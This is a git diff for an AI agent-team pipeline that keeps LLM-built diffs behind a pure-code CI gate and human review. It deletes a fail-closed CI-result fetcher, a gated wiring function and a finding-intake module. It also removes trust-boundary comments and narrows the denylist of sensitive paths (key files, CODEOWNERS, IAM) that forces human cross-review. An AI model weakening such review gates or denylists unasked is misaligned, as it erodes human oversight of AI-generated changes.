diff --git a/.gitignore b/.gitignore index f0110ed..428cb36 100644 --- a/.gitignore +++ b/.gitignore @@ -10,6 +10,3 @@ __pycache__/ # Stray Atlassian Document Format exports left by an unrelated tool — not part of this repo. .adf_final*.json - -# Claude Code agent worktrees / local scratch (never scanned or committed) -.claude/ diff --git a/agent-team/agent_team/ci_fetcher.py b/agent-team/agent_team/ci_fetcher.py deleted file mode 100644 index b2bbdc7..0000000 --- a/agent-team/agent_team/ci_fetcher.py +++ /dev/null @@ -1,365 +0,0 @@ -"""Real, read-only CI-result fetcher — the GATED-LIVE seam for VERIFY (§3.3.2 #4). - -This module implements the production :data:`~agent_team.nodes.build_verify_subgraph.CiResultFetcher` -that the build->verify subgraph's VERIFY node injects once the §3.3.2 CI -trust-boundary clears ``/sh-security-review`` + the GPT-4.1 cross-review. Until -then the subgraph runs with the INERT default fetcher (``_no_ci_result`` -> the -gate BLOCKs and the task parks); binding THIS fetcher only gives the pure-code -gate (:func:`agent_team.ci_gate.evaluate_ci_gate`) an authenticated conclusion -to read — it never makes the LLM the pass authority. - -What it is (and, just as importantly, what it is NOT): - -* It is a **pure DATA fetcher.** Given the task ``state``, it reads - ``state["run_id"]`` (and echoes ``state.get("diff_hash")``), calls the GitHub - Actions REST API ``GET /repos/{owner}/{repo}/actions/runs/{run_id}`` with a - **READ-ONLY** token, and returns the authenticated run ``conclusion`` as a - mapping ``{"run_id", "conclusion", "diff_hash"}``. The gate owns the verdict; - this module never derives pass/fail itself. -* It is **fail-closed.** ANY error — missing ``run_id``, missing token, 404, - auth failure, malformed JSON, a network/timeout error, an unexpected status — - returns ``None``. A ``None`` result makes the gate BLOCK (never a silent - pass), so a broken fetch parks the task for a human rather than shipping. -* It **never writes.** No ``POST``/``PATCH``, no ``git``, no patch apply, no - filesystem mutation. It performs exactly one read-only GET. -* It uses **no cloud credentials and no token-federation** — only a GitHub - read-only token, resolved at CALL time from the environment (matching the - prevailing transport idiom in :mod:`agent_team.transport.github_live`). It - NEVER reads a success/failure file the patch could have written (boundary 4). - -Prevailing HTTP approach: mirrors :mod:`agent_team.transport.github_live` — a -thin ``requests`` session, deferred import (``requests`` is optional and may be -absent pre-deploy), call-time token resolution, and an injectable ``client`` for -testability. Unlike the poster, a missing token / missing ``requests`` here does -NOT raise: it fails closed to ``None`` so the gate BLOCKs (the fetcher's whole -contract is "no authenticated result -> None"). The dedicated read-only env var -``AGENT_TEAM_CI_READ_TOKEN`` is preferred, falling back to ``GITHUB_TOKEN``. -""" - -from __future__ import annotations - -import logging -import os -import re -from collections.abc import Mapping -from typing import Any - -from agent_team.nodes.build_verify_subgraph import CiResultFetcher - -__all__ = [ - "CI_READ_TOKEN_ENV", - "GITHUB_API_ROOT", - "build_ci_result_fetcher", - "fetch_ci_result", -] - -_LOG = logging.getLogger("agent_team.ci_fetcher") - -# ─────────────────────────────────────────────────────────────────────────── -# TRUST SOURCE (design §3.3.2, QUESTION-1). ``state["run_id"]`` and -# ``state["diff_hash"]`` are TRUSTED inputs to this fetcher and the pure-code -# gate: they MUST be written ONLY by the trusted dispatcher / ledger at dispatch -# time — NEVER by an LLM/builder/verifier node or by anything a candidate diff -# can influence. The dispatcher records the run id it dispatched the apply/verify -# workflow under (and the ledger-recorded diff hash) into task state; the LLM -# build/verify nodes only READ them. If that ever changes, the run_id format -# validation below (fail-closed) plus the gate's run-id EQUALITY check -# (:func:`agent_team.ci_gate.evaluate_ci_gate`, which compares the fetched run id -# against the dispatcher's ``expected_run_id``) are the defense: an attacker who -# could rewrite ``state["run_id"]`` to point at a different (passing) run would -# still have to match the dispatcher's expected_run_id, and a malformed/injected -# value fails the regex and returns None -> gate BLOCK. -# ─────────────────────────────────────────────────────────────────────────── - -# A GitHub Actions run id is a positive integer. Validate the state-supplied -# run_id against this BEFORE building any URL: a non-numeric value is either a -# bug or an injection attempt (it would be path-spliced into the API URL), so we -# fail closed (-> None -> gate BLOCK) rather than fetch an attacker-chosen path. -_RUN_ID_RE = re.compile(r"[0-9]{1,20}") - -# owner / repo path segments. GitHub restricts these to a conservative charset; -# we validate both before URL construction so a crafted owner/repo cannot splice -# extra path segments / traversal into the GitHub API URL. Fail closed on miss. -_OWNER_REPO_RE = re.compile(r"[A-Za-z0-9_.-]{1,100}") - -# Authenticated GitHub run conclusions we recognise. An unrecognised/missing -# conclusion is ambiguous and must fail closed here (the gate also BLOCKs on -# unknowns; validating at the fetcher makes the trust boundary explicit). Keep -# this in sync with agent_team.ci_gate's PASS + _FAILURE_CONCLUSIONS plus the -# benign non-failure values GitHub can return. -_ALLOWED_CONCLUSIONS: frozenset[str] = frozenset( - { - "success", - "failure", - "cancelled", - "skipped", - "timed_out", - "action_required", - "neutral", - "stale", - "startup_failure", - } -) - -# The dedicated read-only token env var (preferred), falling back to the generic -# GITHUB_TOKEN (the idiom github_live uses). The token MUST be read-only — the -# fetcher only ever GETs; a write-scoped token here would be unnecessary blast -# radius (provisioning issues a read-only fine-grained PAT / read-only var). -CI_READ_TOKEN_ENV = "AGENT_TEAM_CI_READ_TOKEN" -_FALLBACK_TOKEN_ENV = "GITHUB_TOKEN" - -GITHUB_API_ROOT = "https://api.github.com" - -# Conservative default timeout for the single read-only GET. A hang must fail -# closed (-> None -> gate BLOCK), never wedge the verifier. -_DEFAULT_TIMEOUT_S = 15.0 - - -def _resolve_read_token() -> str | None: - """Resolve the read-only GitHub token at call time, or ``None``. - - Prefers :data:`CI_READ_TOKEN_ENV`, falls back to ``GITHUB_TOKEN``. Returns - ``None`` when neither is set so the fetcher fails closed (the caller maps a - missing token to a ``None`` result -> gate BLOCK), rather than raising. - """ - return os.environ.get(CI_READ_TOKEN_ENV) or os.environ.get(_FALLBACK_TOKEN_ENV) - - -def _build_session(token: str) -> Any: - """Lazily construct a read-only ``requests.Session`` (deferred optional import). - - Mirrors :func:`agent_team.transport.github_live._build_session` (deferred - ``requests`` import, ``Authorization: Bearer`` + the API-version header). The - session is used for exactly one GET; no write verbs are ever issued. - - Raises :class:`RuntimeError` only if ``requests`` is unavailable — the caller - catches it and fails closed to ``None`` so a pre-deploy environment without - the optional dependency simply BLOCKs (never a spurious pass). - """ - import requests # deferred: optional dependency (see module docstring) - - session = requests.Session() - session.headers.update( - { - "Authorization": f"Bearer {token}", - "Accept": "application/vnd.github+json", - "X-GitHub-Api-Version": "2022-11-28", - } - ) - return session - - -def fetch_ci_result( - state: Mapping[str, Any], - *, - owner: str, - repo: str, - client: Any = None, - api_root: str = GITHUB_API_ROOT, - timeout: float = _DEFAULT_TIMEOUT_S, -) -> dict[str, Any] | None: - """Fetch the authenticated CI run conclusion as DATA, or ``None`` (fail-closed). - - Reads ``state["run_id"]`` (required) and echoes ``state.get("diff_hash")``, - then GETs ``{api_root}/repos/{owner}/{repo}/actions/runs/{run_id}`` with the - read-only token and returns:: - - {"run_id": , "conclusion": , "diff_hash": } - - Returns ``None`` on ANY failure — no ``run_id`` in state, no resolvable - token, ``requests`` unavailable, a non-2xx status (404/401/403/...), a - malformed/absent JSON body, a missing ``conclusion``, or a network/timeout - error. ``None`` is the fail-closed signal: the pure-code gate treats it as - "no authenticated result" and BLOCKs, so a broken fetch parks the task. This - function NEVER derives the verdict (the gate owns pass/fail) and NEVER - writes. - - ``client`` injects a pre-built ``requests``-like session for tests (any - object with ``get(url, *, timeout) -> response`` exposing ``status_code`` - and ``json()``). When omitted, a read-only session is built from the - resolved token. - """ - run_id = state.get("run_id") - if run_id is None or str(run_id) == "": - _LOG.warning("ci_fetcher: no run_id in state; failing closed to None") - return None - run_id = str(run_id) - - # BLOCK-2: validate the run id BEFORE it is spliced into the API URL. A GitHub - # run id is a positive integer; anything else is a bug or a path-injection - # attempt -> fail closed. (See the TRUST SOURCE note: state["run_id"] is a - # trusted dispatcher input, but we validate it as defense-in-depth.) - if not _RUN_ID_RE.fullmatch(run_id): - _LOG.warning( - "ci_fetcher: run_id %r is not a valid integer run id; failing closed", - run_id, - ) - return None - - # BLOCK-3: validate owner/repo before URL construction so a crafted value - # cannot splice extra path segments / traversal into the GitHub API URL. - for _name, _value in (("owner", owner), ("repo", repo)): - if not _OWNER_REPO_RE.fullmatch(_value): - _LOG.warning( - "ci_fetcher: %s %r is not a valid GitHub path segment; failing closed", - _name, - _value, - ) - return None - - echoed_hash = state.get("diff_hash") - - if client is None: - token = _resolve_read_token() - if not token: - _LOG.warning( - "ci_fetcher: no read-only token (%s/%s) set; failing closed to None", - CI_READ_TOKEN_ENV, - _FALLBACK_TOKEN_ENV, - ) - return None - try: - client = _build_session(token) - except Exception: # noqa: BLE001 - any build failure fails closed - _LOG.warning("ci_fetcher: could not build HTTP client; failing closed") - return None - - url = f"{api_root.rstrip('/')}/repos/{owner}/{repo}/actions/runs/{run_id}" - - try: - response = client.get(url, timeout=timeout) - except Exception: # noqa: BLE001 - timeout / connection / any -> fail closed - _LOG.warning("ci_fetcher: GET %s failed (network/timeout); failing closed", url) - return None - - status = _status_of(response) - if status is None or not (200 <= status < 300): - _LOG.warning("ci_fetcher: run GET returned status %r; failing closed", status) - return None - - data = _json_of(response) - if not isinstance(data, dict): - _LOG.warning("ci_fetcher: run body was not a JSON object; failing closed") - return None - - conclusion = data.get("conclusion") - # An in-progress run has conclusion=None; that is NOT an authenticated - # verdict, so fail closed (the gate would BLOCK on it anyway, but returning - # None keeps the "no result" contract clean and avoids echoing a non-verdict). - if conclusion is None or not isinstance(conclusion, str): - _LOG.info("ci_fetcher: run %s has no conclusion yet; failing closed", run_id) - return None - - # FIX-1: allowlist the conclusion. GitHub returns a fixed set of conclusion - # strings; an unrecognised value is ambiguous (a new GitHub state, a typo, or - # an injected value) and must fail closed here rather than be laundered to the - # gate. (The gate also BLOCKs unknowns; this makes the boundary explicit.) - normalized_conclusion = conclusion.strip().lower() - if normalized_conclusion not in _ALLOWED_CONCLUSIONS: - _LOG.warning( - "ci_fetcher: run %s has unrecognised conclusion %r; failing closed", - run_id, - conclusion, - ) - return None - - # Bind the returned run_id to the run actually fetched (the API echoes id); - # fall back to the requested (already-validated) run_id. The gate - # independently re-checks this against expected_run_id, so this is provenance, - # not the trust decision. - # - # FIX-5: the API ``id`` must be an integer / integer-string before it is used - # as the result run id; we do NOT launder an arbitrary string. An int is - # accepted; a digit-only string is accepted; anything else falls back to the - # already-validated requested run_id rather than propagating an unvalidated - # value into the gate's run-id equality check. - fetched_id = data.get("id") - if isinstance(fetched_id, bool): - # bool is an int subclass; a JSON ``true``/``false`` id is not a run id. - result_run_id = run_id - elif isinstance(fetched_id, int): - result_run_id = str(fetched_id) - elif isinstance(fetched_id, str) and _RUN_ID_RE.fullmatch(fetched_id): - result_run_id = fetched_id - else: - result_run_id = run_id - - return { - "run_id": result_run_id, - "conclusion": normalized_conclusion, - "diff_hash": echoed_hash, - } - - -def build_ci_result_fetcher( - *, - owner: str, - repo: str, - client: Any = None, - timeout: float = _DEFAULT_TIMEOUT_S, -) -> CiResultFetcher: - """Build a :data:`CiResultFetcher` bound to ``owner``/``repo`` (GATED-LIVE seam). - - Returns a single-argument ``state -> mapping | None`` callable shaped exactly - like the VERIFY node's injected ``ci_result_fetcher`` seam, closing over the - target ``owner``/``repo`` (and the optional injected ``client`` / ``timeout``). - Compose it with - :func:`agent_team.nodes.build_verify_subgraph.bind_ci_result_fetcher` (or the - opt-in :func:`agent_team.coordinator.gated_build_verify_wiring`) once the - §3.3.2 gate clears. It is read-only and fails closed (see - :func:`fetch_ci_result`); binding it does not enable any apply/verify - behaviour, it only gives the gate an authenticated conclusion to read. - - FIX-3: the production path does NOT accept a caller-overridable ``api_root``. - The GitHub API host is hardcoded to :data:`GITHUB_API_ROOT` so a caller (and - anything that influences the coordinator's wiring) cannot redirect the - read-only GET at an attacker-controlled host. ``fetch_ci_result`` retains an - ``api_root`` kwarg for unit tests only; it is unreachable from this production - builder (and therefore from :func:`agent_team.coordinator.gated_build_verify_wiring`). - """ - - def fetcher(state: Mapping[str, Any]) -> dict[str, Any] | None: - return fetch_ci_result( - state, - owner=owner, - repo=repo, - client=client, - # api_root deliberately NOT forwarded: hardcoded GITHUB_API_ROOT in - # the production path (FIX-3). Only the test-only direct caller of - # fetch_ci_result may override it. - timeout=timeout, - ) - - return fetcher - - -def _status_of(response: Any) -> int | None: - """Read the HTTP status from a ``requests``-like response, or ``None``. - - Accepts ``status_code`` (``requests``) or ``status`` (a minimal fake). - Returns ``None`` if neither is present so the caller fails closed rather than - raising on an exotic object. - """ - for attr in ("status_code", "status"): - value = getattr(response, attr, None) - if value is not None: - try: - return int(value) - except (TypeError, ValueError): - return None - return None - - -def _json_of(response: Any) -> Any: - """Parse the JSON body of a ``requests``-like response, or ``None`` on failure. - - A malformed/absent body must fail closed (-> ``None`` -> the caller returns - ``None`` -> gate BLOCK), never raise into the verifier node. - """ - parser = getattr(response, "json", None) - if not callable(parser): - return None - try: - return parser() - except Exception: # noqa: BLE001 - any JSON decode error fails closed - return None diff --git a/agent-team/agent_team/ci_gate.py b/agent-team/agent_team/ci_gate.py index 6b813cc..0a0db1b 100644 --- a/agent-team/agent_team/ci_gate.py +++ b/agent-team/agent_team/ci_gate.py @@ -39,18 +39,6 @@ Decision semantics (a diff "ships" only on an unambiguous authenticated pass): * :data:`GateDecision.BLOCK` — a trust violation (denylist hit, hash mismatch, run-id mismatch, missing/ambiguous authenticated conclusion). This is an ALARM-worthy refuse-to-proceed, never a silent pass. - -TRUST SOURCE (§3.3.2, QUESTION-1). ``state["run_id"]`` (the run id the fetcher -reads and the value compared against ``expected_run_id`` here) and -``state["diff_hash"]`` MUST be written ONLY by the trusted dispatcher / ledger at -dispatch time — NEVER by an LLM / builder / verifier node or by anything a -candidate diff can influence. The dispatcher records the run id it dispatched the -apply/verify workflow under (and the ledger-recorded diff hash); the LLM nodes -only read them. The gate's run-id EQUALITY check below (``actual_run_id`` vs the -dispatcher-supplied ``expected_run_id``) plus the fetcher's run_id format -validation are the defense if that assumption is ever broken: a tampered -``state["run_id"]`` would still have to equal the dispatcher's expected run id to -pass, and a malformed value fails closed. """ from __future__ import annotations @@ -97,19 +85,12 @@ class GateDecision(Enum): # touches any of these is escalated to mandatory human + GPT cross-review, never # auto-built — they are the mandatory-cross-review surface regardless. Globs are # matched against POSIX-canonicalized repo-relative paths. -# INJ-03: this denylist is the UNION SUPERSET shared verbatim across all three -# trust-control copies — this tuple, the guard-job inline DENY_GLOBS, and the -# post-build inline DENY_GLOBS in ci/agent-team-apply-verify.yml. The three had -# drifted in BOTH directions (each carried entries the others lacked); they are -# now identical, and tests/test_apply_verify_workflow_hardening.py asserts the -# identity so any future drift fails CI. When editing one, edit all three. DENYLIST_GLOBS: tuple[str, ...] = ( # CI workflow definitions — the "pwn request" surface. ".github/workflows/**", ".github/actions/**", # Branch protection / ownership / dependency automation config. ".github/CODEOWNERS", - "**/CODEOWNERS", "CODEOWNERS", ".github/dependabot.yml", ".github/dependabot.yaml", @@ -120,15 +101,9 @@ DENYLIST_GLOBS: tuple[str, ...] = ( "**/template.yaml", "**/samconfig.toml", "**/*.tf", - "**/*-stack.ts", - "**/*_stack.py", "**/iam/**", "**/policies/**", - "**/*iam*", - "**/policy*.json", "**/*policy*.json", - "**/*.pem", - "**/*.key", ) # Authenticated GitHub run conclusions that count as a recognised failure (the diff --git a/agent-team/agent_team/coordinator.py b/agent-team/agent_team/coordinator.py index eee73b0..bfe0760 100644 --- a/agent-team/agent_team/coordinator.py +++ b/agent-team/agent_team/coordinator.py @@ -68,7 +68,6 @@ __all__ = [ "Coordinator", "build_verify_wiring", "default_clarify_node_factory", - "gated_build_verify_wiring", ] _LOG = logging.getLogger("agent_team.coordinator") @@ -255,62 +254,6 @@ def build_verify_wiring() -> tuple[ return build_node, verify_node, route_after_verify -def gated_build_verify_wiring( - *, - owner: str, - repo: str, - expected_run_id: str, - allowed_scope: list[str] | None = None, - diff_builder: Any = None, - ci_client: Any = None, -) -> tuple[ - Callable[[PipelineState], "dict[str, Any]"], - Callable[[PipelineState], PipelineState], - Callable[[PipelineState], str], -]: - """Compose the GATED-LIVE P3 build->verify subgraph (OPT-IN; held for the gate). - - The live counterpart to :func:`build_verify_wiring`: it binds the REAL - read-only CI-result fetcher (:func:`agent_team.ci_fetcher.build_ci_result_fetcher`) - onto the VERIFY node so the pure-code gate has an authenticated conclusion to - read, and (optionally) a real ``diff_builder`` onto the BUILD node. The gate - still owns pass/fail — binding the fetcher only GIVES it a result, it can - never make the LLM the pass authority. - - **This is OPT-IN and is deliberately NOT wired into the default - ``run-team.py`` / ``serve`` path** (exactly like :func:`build_verify_wiring`). - It is the seam a leaf calls AFTER the §3.3.2 CI trust boundary clears - ``/sh-security-review`` + the GPT-4.1 cross-review and the GitHub App + - ``agent-apply`` environment are provisioned. Until then, importing or holding - this function changes nothing: the production coordinator passes - ``build_verify_wiring=None``, so no P3 subgraph is assembled at all. - - The CI fetcher is read-only and fails closed: a missing token / 404 / auth - failure / malformed body / timeout yields ``None`` and the gate BLOCKs (the - task parks). ``ci_client`` injects a test double; the real path builds a - read-only ``requests`` session at call time from the read-only token env var. - - Lazy-imported (ci_fetcher pulls the subgraph + verifier leaves) for the same - import-hygiene reason as the other factories. - """ - from agent_team.ci_fetcher import build_ci_result_fetcher - from agent_team.nodes.build_verify_subgraph import ( - make_build_node, - make_verify_node, - route_after_verify, - ) - from agent_team.nodes.verifier import VerifierConfig - - config = VerifierConfig( - expected_run_id=expected_run_id, - allowed_scope=allowed_scope, - ) - fetcher = build_ci_result_fetcher(owner=owner, repo=repo, client=ci_client) - build_node = make_build_node(diff_builder=diff_builder) - verify_node = make_verify_node(config, ci_result_fetcher=fetcher) - return build_node, verify_node, route_after_verify - - class Coordinator: """Owns the live Plane-2 runtime: graph + resume worker + transport (§3.3). diff --git a/agent-team/agent_team/transport/checker_intake.py b/agent-team/agent_team/transport/checker_intake.py deleted file mode 100644 index b1aad76..0000000 --- a/agent-team/agent_team/transport/checker_intake.py +++ /dev/null @@ -1,404 +0,0 @@ -"""Plane-1 checker-finding INTAKE: a confirmed finding becomes a pipeline task. - -This is the Plane-2 **P5 cross-plane loop**: it closes the gap between the -Plane-1 read-only *checkers* -(``security-review/checkers/compliance-drift.sh`` and -``security-review/checkers/dependency-cve.sh``) and the Plane-2 human-gated -SDLC *pipeline*. Where :mod:`agent_team.transport.github_intake` turns a -labeled GitHub issue into one pipeline task, this leaf turns a confirmed, -at-or-above-threshold checker *finding* into one pipeline remediation task by -calling the same committed coordinator intake entry, -:meth:`agent_team.coordinator.Coordinator.start_task` -(``task_text=``, ``transport_name=``). - -It deliberately mirrors the ``github_intake`` seam so the two front doors stay -consistent and equally testable: - -* Input is **plain data**, not network. The poller reads checker *report* JSON - (the exact shape the bash checkers already emit — a top-level object with a - ``findings`` array) from one or more files / a directory. No SDK, no socket, - no token: a checker run already wrote the report; this only reads it. -* ``coordinator`` is anything exposing ``start_task(task_text=..., - transport_name=...)``: the live :class:`~agent_team.coordinator.Coordinator` - in production, a stub in tests. No model or transport is touched here. - -Selection contract: - A finding is ingested only when it is both ``status == "confirmed"`` AND its - ``severity`` is at or above the configured threshold (default ``high``). - Unconfirmed / suppressed findings and below-threshold severities are - skipped. An ``unverified`` severity (the schema's auto-downgrade marker) is - treated as below every real threshold and never ingested. - -De-duplication (P5 scope note — matches the github_intake discipline): - The poller tracks already-ingested findings in an **in-memory** set keyed by - a stable content identity (the finding ``id`` when present, else a - content-hash of checker+repo+title+severity). So re-reading the same nightly - report — or two reports that both carry the same finding — does not start a - second task within one process. This is deliberately simple and mirrors - ``github_intake``: it does NOT survive a process restart. Durable de-dup (a - ledger table of ingested finding ids, mirroring the ``pending_questions`` - discipline) is the known FOLLOW-UP and is intentionally not shipped here. - After a restart an already-ingested finding still present in a fresh report - would be re-ingested; treat the in-memory set as a best-effort guard, not a - durable contract. - -Untrusted-input hygiene: - Checker findings carry **repo-controlled strings** (titles, proofs) — a - repo name, a dependency advisory summary, a PR title. Those must never reach - operator logs or the rendered task text raw, or a forged multi-line value - could spoof log lines / pipeline-task framing (log injection). Every such - string is sanitized via :func:`_sanitize` (newline/control-char neutralised, - length-bounded) before it is logged or rendered, mirroring the coordinator's - ``start_task`` log-injection hardening. - -Design constraints (pre-deployment scaffolding): - * **No live infrastructure.** Nothing is provisioned or called at import. - The poller only reads local JSON and calls the injected coordinator. - * **P2 stays the production default; this is OPT-IN and INERT.** It is wired - ONLY behind the ``intake-checker`` run-team subcommand, never into the - always-on ``serve`` path. It does no CI, OIDC, git/patch apply, or - network; it only reads a report file and calls the existing intake entry. -""" - -from __future__ import annotations - -import hashlib -import json -import logging -from pathlib import Path -from typing import Any - -__all__ = [ - "CHECKER_TRANSPORT_NAME", - "DEFAULT_SEVERITY_THRESHOLD", - "SEVERITY_RANK", - "CheckerFindingIntake", - "finding_identity", - "finding_task_text", - "load_report_findings", - "select_findings", -] - -_LOG = logging.getLogger(__name__) - -# Transport name handed to the coordinator's intake entry so the resulting -# remediation task's clarifier question-sets route over a real channel. Findings -# are about org repos, so GitHub is the natural default (mirrors github_intake). -CHECKER_TRANSPORT_NAME = "github" - -# Severity ordering, matching the finding.schema.json enum. Higher rank = more -# severe. ``info`` / ``unverified`` sit below every real remediation threshold. -SEVERITY_RANK: dict[str, int] = { - "unverified": -1, - "info": 0, - "low": 1, - "medium": 2, - "high": 3, - "critical": 4, -} - -# Default minimum severity a confirmed finding must reach to spawn a task. -DEFAULT_SEVERITY_THRESHOLD = "high" - -# Hard cap on any single rendered/logged untrusted string. Generous enough for a -# real title/proof, tight enough that a forged megastring cannot flood the log or -# the task text. -_MAX_FIELD_LEN = 500 - - -def _sanitize(value: Any, *, max_len: int = _MAX_FIELD_LEN) -> str: - """Neutralise an untrusted, repo-controlled string for logs / task text. - - Coerces ``value`` to ``str``, strips surrounding whitespace, replaces every - control character (newlines, carriage returns, tabs, and other C0/C1 - controls) with a visible escape so a forged multi-line value cannot spoof a - log line or the framing of the rendered task text, and bounds the length so a - megastring cannot flood the sink. Mirrors the coordinator's ``start_task`` - log-injection hardening, generalised to every untrusted field. - """ - text = str(value if value is not None else "").strip() - if len(text) > max_len: - text = text[:max_len] + "…(truncated)" - out: list[str] = [] - for ch in text: - if ch == "\n": - out.append("\\n") - elif ch == "\r": - out.append("\\r") - elif ch == "\t": - out.append("\\t") - elif ord(ch) < 0x20 or ord(ch) == 0x7F: - # Any other C0 control (and DEL) -> visible escape. - out.append(f"\\x{ord(ch):02x}") - else: - out.append(ch) - return "".join(out) - - -def _proof_hint(proof: Any) -> str: - """Render the remediation hint from a finding's ``proof`` object, sanitized. - - Both checkers nest the actionable detail under ``proof``: - - * compliance-drift: ``{"outcome": ""}`` - * dependency-cve: ``{"package", "version", "advisory_id", "summary", - "fixed_version", ...}`` - - so this renders whichever keys are present into one compact, sanitized line. - A non-mapping or empty ``proof`` yields an empty hint (the caller omits the - line). Every value is run through :func:`_sanitize` because proofs are - repo-controlled (e.g. an advisory summary copied from an upstream feed). - """ - if not isinstance(proof, dict): - return "" - # Order keys for a stable, readable hint; unknown keys are appended after. - preferred = ( - "outcome", - "summary", - "package", - "version", - "fixed_version", - "advisory_id", - ) - parts: list[str] = [] - seen: set[str] = set() - for key in preferred: - if key in proof and proof[key] not in (None, ""): - parts.append(f"{key}={_sanitize(proof[key])}") - seen.add(key) - for key, val in proof.items(): - if key in seen or val in (None, ""): - continue - parts.append(f"{_sanitize(key, max_len=80)}={_sanitize(val)}") - return "; ".join(parts) - - -def finding_identity(finding: dict[str, Any]) -> str: - """Return the stable de-dup identity for ``finding`` as a string. - - Prefers the finding ``id`` (the checkers mint a stable ``-``), - which keeps the same finding from spawning two tasks across nightly runs. - When ``id`` is absent (a malformed/partial report), falls back to a content - hash of checker+repo+title+severity so two structurally identical findings - still collapse to one task rather than slipping the de-dup. - """ - raw_id = finding.get("id") - if raw_id not in (None, ""): - return str(raw_id) - payload = "\x1f".join( - str(finding.get(key) or "") for key in ("check", "repo", "title", "severity") - ) - return "sha256:" + hashlib.sha256(payload.encode("utf-8")).hexdigest() - - -def finding_task_text(finding: dict[str, Any], *, checker: str = "") -> str: - """Render one confirmed finding into the pipeline task's ``task_text``. - - Produces a compact, fully-sanitized remediation brief: a headline line with - the checker, repo, and severity; the finding title; and a remediation hint - drawn from ``proof``. Every interpolated value is repo-controlled and so is - passed through :func:`_sanitize` first (no raw newline / control char reaches - the task text or, downstream, the operator log). ``checker`` falls back to - the finding's own ``check`` field when not supplied by the report header. - """ - repo = _sanitize(finding.get("repo") or "", max_len=120) - severity = _sanitize(finding.get("severity") or "", max_len=40) - title = _sanitize(finding.get("title") or "") - checker_name = _sanitize(checker or finding.get("check") or "checker", max_len=80) - - lines = [ - f"[Plane-1 {checker_name}] remediation for {repo} (severity={severity})", - f"Finding: {title}", - ] - hint = _proof_hint(finding.get("proof")) - if hint: - lines.append(f"Remediation hint: {hint}") - return "\n".join(lines) - - -def _meets_threshold(severity: Any, *, threshold_rank: int) -> bool: - """True when ``severity`` is a known level at or above ``threshold_rank``. - - Unknown / missing severities (and the schema's ``unverified`` downgrade - marker, ranked below zero) never meet a real threshold, so a malformed - finding can never sneak past the gate. - """ - rank = SEVERITY_RANK.get(str(severity).strip().lower(), -99) - return rank >= threshold_rank - - -def select_findings( - findings: list[dict[str, Any]], - *, - threshold: str = DEFAULT_SEVERITY_THRESHOLD, -) -> list[dict[str, Any]]: - """Filter ``findings`` to those eligible to spawn a remediation task. - - A finding is selected only when BOTH: - - * ``status == "confirmed"`` (unverified / suppressed are dropped), and - * its ``severity`` is at or above ``threshold`` (default ``high``). - - Order is preserved. ``threshold`` must be one of the schema severities; - an unknown threshold is rejected so a typo cannot silently widen the gate. - """ - key = threshold.strip().lower() - if key not in SEVERITY_RANK or key in ("unverified", "info"): - raise ValueError( - f"invalid severity threshold {threshold!r}; expected one of " - "low/medium/high/critical" - ) - threshold_rank = SEVERITY_RANK[key] - selected: list[dict[str, Any]] = [] - for finding in findings: - if str(finding.get("status")).strip().lower() != "confirmed": - continue - if not _meets_threshold(finding.get("severity"), threshold_rank=threshold_rank): - continue - selected.append(finding) - return selected - - -def load_report_findings(path: Path) -> list[dict[str, Any]]: - """Read a checker report file (or every ``*.json`` in a dir) into findings. - - Accepts the exact shape the bash checkers emit: a top-level object with a - ``findings`` array. A bare JSON array is also accepted (a caller that has - already extracted ``.findings``). When ``path`` is a directory, every - ``*.json`` file directly inside it is read and the findings concatenated - (a malformed file raises, surfacing the bad report rather than silently - skipping it). Non-mapping finding entries are ignored defensively. - """ - if path.is_dir(): - findings: list[dict[str, Any]] = [] - for report in sorted(path.glob("*.json")): - findings.extend(load_report_findings(report)) - return findings - - raw = path.read_text(encoding="utf-8") - data = json.loads(raw) if raw.strip() else {} - if isinstance(data, list): - items = data - elif isinstance(data, dict): - items = data.get("findings") or [] - else: - items = [] - return [item for item in items if isinstance(item, dict)] - - -class CheckerFindingIntake: - """Turn confirmed at/above-threshold checker findings into pipeline tasks. - - Construct with an injected ``coordinator`` (anything exposing - ``start_task(task_text=..., transport_name=...)``), an optional severity - ``threshold`` (default ``high``), and the ``transport_name`` the resulting - remediation tasks should deliver clarifier questions over. Then call - :meth:`ingest_findings` (in-memory findings) or :meth:`ingest_reports` - (report files / a directory). - - De-dup is in-memory only (see the module docstring): the set of ingested - finding identities lives on the instance, so re-reading the same report never - double-ingests within one process, but a restart loses the set. Durable - de-dup is the known follow-up. - - Nothing here touches the network or any SDK: it reads local JSON and calls - the injected coordinator, so the whole intake is unit-testable with a stub - coordinator and in-memory findings. - """ - - def __init__( - self, - *, - coordinator: Any, - threshold: str = DEFAULT_SEVERITY_THRESHOLD, - transport_name: str = CHECKER_TRANSPORT_NAME, - ) -> None: - """Bind the intake to one coordinator, severity threshold, and transport. - - Args: - coordinator: The intake target. Must expose - ``start_task(task_text=..., transport_name=...)``: the live - :class:`~agent_team.coordinator.Coordinator` in production. - threshold: Minimum severity a confirmed finding must reach to spawn a - task (``low``/``medium``/``high``/``critical``; default ``high``). - An invalid value is rejected up-front. - transport_name: Channel the resulting task's clarifier question-sets - route over (default ``github``). - """ - # Validate the threshold eagerly (reuses select_findings' guard). - select_findings([], threshold=threshold) - self._coordinator = coordinator - self._threshold = threshold.strip().lower() - self._transport_name = transport_name - # In-memory de-dup set (P5 scope: best-effort, NOT durable across a - # restart; see the module docstring). Tracks finding identities already - # turned into tasks so re-reading a report does not double-ingest. - self._ingested: set[str] = set() - - @property - def threshold(self) -> str: - """The configured severity threshold (read-only).""" - return self._threshold - - @property - def ingested_ids(self) -> frozenset[str]: - """A snapshot of finding identities ingested this process (read-only).""" - return frozenset(self._ingested) - - def ingest_findings(self, findings: list[dict[str, Any]]) -> list[str]: - """Select, de-dup, and start one task per unique eligible finding. - - For each finding that passes :func:`select_findings` and is not already - ingested this process, calls ``coordinator.start_task(task_text=, transport_name=)`` and records its identity so a - subsequent pass does not re-ingest it. The identity is recorded ONLY - after ``start_task`` returns, so a failing intake leaves the finding - eligible for retry rather than silently dropping it (mirrors - github_intake). - - Returns the list of finding identities ingested on THIS pass (empty when - nothing new), so an operator loop can meter intake volume. - """ - ingested_now: list[str] = [] - for finding in select_findings(findings, threshold=self._threshold): - identity = finding_identity(finding) - if identity in self._ingested: - _LOG.debug( - "checker-intake: finding %s already ingested; skip", - _sanitize(identity, max_len=120), - ) - continue - - checker = str(finding.get("check") or "") - task_text = finding_task_text(finding, checker=checker) - # task_text is already sanitized field-by-field; log a sanitized - # summary (never the raw repo/title) to avoid log injection. - _LOG.info( - "checker-intake: starting remediation task for %s " - "(repo=%s severity=%s checker=%s)", - _sanitize(identity, max_len=120), - _sanitize(finding.get("repo"), max_len=120), - 